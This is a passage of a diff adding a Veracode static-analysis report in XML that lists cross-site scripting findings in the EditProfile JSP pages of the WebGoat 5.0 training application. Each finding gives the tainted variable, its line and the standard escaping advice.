+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"152\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"134\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"142\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"73\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"131\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"102\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"157\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"106\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"61\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"162\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"167\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"2\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"266\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"233\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
